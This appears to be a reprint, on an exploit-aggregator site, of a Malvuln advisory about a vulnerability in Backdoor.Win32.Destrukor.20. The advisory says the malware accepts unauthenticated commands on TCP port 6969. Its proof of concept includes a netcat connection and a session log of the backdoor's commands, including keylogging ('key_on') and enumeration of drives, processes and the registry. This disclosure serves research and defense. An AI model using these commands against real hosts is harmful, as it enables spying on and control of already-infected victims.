Advertisement






Backdoor.Win32.Destrukor.20 / Unauthenticated Remote Command Execution

CVE Category Price Severity
N/A CWE-20 $2000 Critical
Author Risk Exploitation Type Date
Unknown High Remote 2022-08-01
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022080001

Below is a copy:

Backdoor.Win32.Destrukor.20 / Unauthenticated Remote Command Execution
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/c790749f851d48e66e7d59cc2e451956_B.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Destrukor.20
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 6969. Third-party adversaries who can reach infected hosts can run commands made available by the backdoor. Remote attackers can read anything the victim types by starting the remote key log command "key_on". Some commands in Polish include "podglad", "dyski", "procesy", "wywiad", "rej_klucze1", "offserver" and many others.
Family: Destrukor
Type: PE32
MD5: c790749f851d48e66e7d59cc2e451956
Vuln ID: MVID-2022-0627
Dropped files: sys32.exe
Disclosure: 07/30/2022


Exploit/PoC:
C:\>nc64.exe x.x.x.x 6969
podglad
podglad_ok140922

dyski
C:\ - Dysk lokalny
D:\ - CD-ROM

procesy
procesy
C:\Windows\System32\sihost.exe
C:\Windows\System32\svchost.exe
C:\Windows\System32\taskhostw.exe
C:\Windows\System32\ctfmon.exe
C:\Windows\explorer.exe
C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe
C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe
C:\Program Files\Process Hacker 2\ProcessHacker.exe
C:\Windows\System32\vm3dservice.exe
C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
C:\Windows\System32\cmd.exe
C:\Windows\System32\conhost.exe
C:\Windows\System32\cmd.exe
C:\Windows\System32\conhost.exe
C:\Windows\System32\taskhostw.exe
C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\dllhost.exe
C:\Windows\System32\cmd.exe
C:\Windows\System32\conhost.exe
C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
C:\Windows\sys32.exe

wywiad\r\n
wywiad
Windows 10 Enterprise
gg
DESKTOP-2C3IQHO
192.168.18.125
2852
12778
C:\WINDOWS
2.0.0

rej_klucze1
AppEvents
AppXBackupContentType
Console
Control Panel
Environment
EUDC
Keyboard Layout
Network
Printers
Software
System
Volatile Environment

key_on
@N@O@T@E@P@A@D@[Enter]
@[L Ctrl]@A@[<-BckSpc]@[L Shift]@I@ @[L Shift]@D@O@N@T@ @L@I@K@E@ @Y@O@U@1   ===> "I DONT LIKE YOU"

offserver

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.